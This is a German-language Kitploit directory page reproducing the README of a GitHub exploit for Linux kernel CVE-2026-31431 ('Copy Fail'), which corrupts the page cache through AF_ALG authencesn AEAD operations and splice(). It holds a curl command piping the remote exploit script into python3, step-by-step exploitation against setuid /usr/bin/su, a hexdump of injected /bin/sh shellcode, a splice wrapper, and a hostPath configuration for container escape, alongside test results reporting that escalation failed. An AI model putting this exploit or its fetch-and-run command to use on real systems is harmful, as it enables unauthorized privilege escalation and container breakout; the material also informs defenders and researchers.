Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-31431 — Exploit für den Linux-Kernel CVE-2026-31431, der eine Beschädigung des Page Cache durch Manipulation von authencesn-AEAD verursacht und auf Privilege Escalation in Containern und OpenShift-Umgebungen abzielt. | Kitploit
Tools/GitHubGitHub/seanrickerd/cve-2026-31431
Cloud-Infrastruktur-SicherheitPrivilege EscalationContainer-SicherheitExploit-FrameworksSchwachstellenanalyseExploitationBinary-Exploitation
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit für den Linux-Kernel CVE-2026-31431, der eine Beschädigung des Page Cache durch Manipulation von authencesn-AEAD verursacht und auf Privilege Escalation in Containern und OpenShift-Umgebungen abzielt.

Repository anzeigen
12518vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31431 „Copy Fail“ – Schwachstelle zur Beschädigung des Page Cache

Beschädigung des Linux-Kernel-Page-Cache durch Manipulation von authencesn AEAD.

⚠️ WICHTIG: Update zum Exploit-Status (1. Mai 2026)

Nach umfangreichen Tests auf mehreren OpenShift-4.20.16-Clustern mit RHEL-9.6-Kerneln:

  • ✅ Page-Cache-Beschädigung: BESTÄTIGT – 160-Byte-Shellcode erfolgreich injiziert
  • ✅ Kernel-Schwachstelle: AUSNUTZBAR aus unprivilegierten Containern (keinerlei Capabilities)
  • ❌ Privilege Escalation: NICHT ERREICHT – UID bleibt trotz beschädigtem Cache unverändert
  • ❌ Code-Ausführung: NICHT BEOBACHTET – Modifizierte Seiten sind bei Reads sichtbar, werden aber nicht ausgeführt
  • ✅ Restricted-v2 SCC: WIRKSAM – Verhindert Container-Escape, begrenzt den Schadensradius

Siehe Abschnitt Umfassende Testergebnisse für vollständige Details.


Überblick

CVE-2026-31431 ist eine Schwachstelle im Linux-Kernel in der kryptografischen Implementierung authencesn AEAD, die es unprivilegierten Prozessen ermöglicht, den Page Cache lesbarer Dateien über AF_ALG-Sockets und splice()-Syscall-Manipulation zu beschädigen.

Tests zeigen: Die Page-Cache-Beschädigung funktioniert zuverlässig, aber eine Privilege Escalation tritt auf RHEL-9.6-Kerneln in unseren Testumgebungen NICHT auf.

CVSS-Score: 7,8 (Hoch)
Betroffen: Linux-Kernelversionen mit authencesn-Unterstützung (2017–2026)
Öffentliche Offenlegung: 29. April 2026

Funktionen

  • Python 3.9+ kompatibel: Enthält splice()-Syscall-Wrapper über ctypes
  • Portabel: Funktioniert auf jedem Linux-System mit verwundbarem Kernel
  • Zuverlässig: Keine Race Conditions erforderlich
  • Sauber: 160-Byte-Shellcode, deterministische Ausnutzung

Anforderungen

  • Linux-Kernel mit verwundbarer authencesn-Implementierung (vor dem Patch vom April 2026)
  • Python 3.9+
  • Zugriff als unprivilegierter Benutzer
  • Lesbare setuid-Binärdatei (Standard: /usr/bin/su)

Verwendung

Grundlegende Verwendung```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### Aus lokaler Datei```bash
python3 exploit.py
su

Tatsächliches Exploit-Verhalten (Basierend auf Tests)

Was passieren wird:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**Page-Cache-Verifizierung (bestätigt Korruption):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

Was NICHT passieren wird (basierend auf Tests):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**Fazit:** Die Beschädigung des Page-Cache gelingt, aber die Privilegieneskalation schlägt fehl.

## Technische Details

### Schwachstelle

Die Implementierung von `authencesn` (Authenticated Encryption with Associated Data – Extended Sequence Number) im Linux-Kernel weist einen Fehler bei der Verarbeitung von In-Place-Operationen auf. Bei der Verarbeitung von AEAD-Operationen, die über einen AF_ALG-Socket übermittelt werden, kann eine Page-Cache-Seite in der beschreibbaren Ziel-Scatterlist des Kernels landen.

### Ausnutzungstechnik

1. **AF_ALG-Socket erstellen** mit `authencesn(hmac(sha256),cbc(aes))`
2. **AEAD-Parameter konfigurieren** (Schlüssel, Authsize)
3. **Ziel-Setuid-Binärdatei öffnen** (z. B. `/usr/bin/su`)
4. **splice() verwenden**, um die Binärdatei in den Page-Cache zu bringen
5. **In-Place-AEAD-Operation auslösen**, die einen Schreibvorgang in den Page-Cache verursacht
6. **Shellcode schreiben**, 4 Bytes auf einmal
7. **Modifizierte Binärdatei ausführen**, um Root-Zugriff zu erlangen

### Shellcode

Der Exploit verwendet einen 160-Byte-Shellcode, der `/usr/bin/su` so patcht, dass er:
- Die Passwortauthentifizierung überspringt
- Root-Shell-Zugriff gewährt
- Die normale Funktionalität für nicht privilegierte Benutzer beibehält

## Python-3.9-Kompatibilität

Python 3.9 und frühere Versionen haben kein `os.splice()` in der Standardbibliothek. Dieser Exploit enthält eine Implementierung auf Basis von ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Das macht den Exploit funktionsfähig auf:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, etc.)
  • ✅ Python 3.10+
  • ✅ Jedes Python mit ctypes-Unterstützung

Umfassende Testergebnisse

Testumgebung 1: OpenShift 4.20.16-Cluster (Erster Test)

Knotenkonfiguration:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (restriktivste)
  • UID: 1000830000 (Benutzernamespace)
  • Capabilities: 0x0000000000000000 (NULL)

Testergebnisse:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### Testumgebung 2: Frischer OpenShift-Cluster (Verifikationstest)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Knotenkonfiguration:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (identisch mit Test 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verifiziert)
- UID: 1000810000 (Benutzer-Namespace)
- Capabilities: 0x0000000000000000 (NULL)

**Testergebnisse:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Konsistenz: 100 % reproduzierbare Ergebnisse über unabhängige Cluster hinweg

Container-Escape-Tests

Szenario A: Mit hostPath-Volume (Container-Escape möglich)```yaml volumes:

  • name: host-usr hostPath: path: /usr
Ergebnis: ✅ **Container-Ausbruch** – modifiziert den Host-Seitencache (Device 33, Inode 4288)

**Szenario B: Restricted-v2 SCC (ohne hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Ergebnis: ❌ Kein Container-Escape – betrifft nur das Container-Overlay (separater Inode)

Kritischer Befund: hostPath-Zugriff (nicht Capabilities) ist der entscheidende Faktor für einen Container-Escape.

Warum die Privilegienerweiterung fehlschlägt

Mögliche Erklärungen (erfordert weitere Forschung):

  1. Lese- vs. Ausführungspfade
    • Page-Cache-Korruption betrifft mmap(PROT_READ)-Operationen
    • Ausführbare Mappings mmap(PROT_EXEC) könnten den korrupten Cache umgehen
    • Der Kernel könnte unterschiedliche Codepfade für ausführbare Seiten verwenden
Tool herunterladen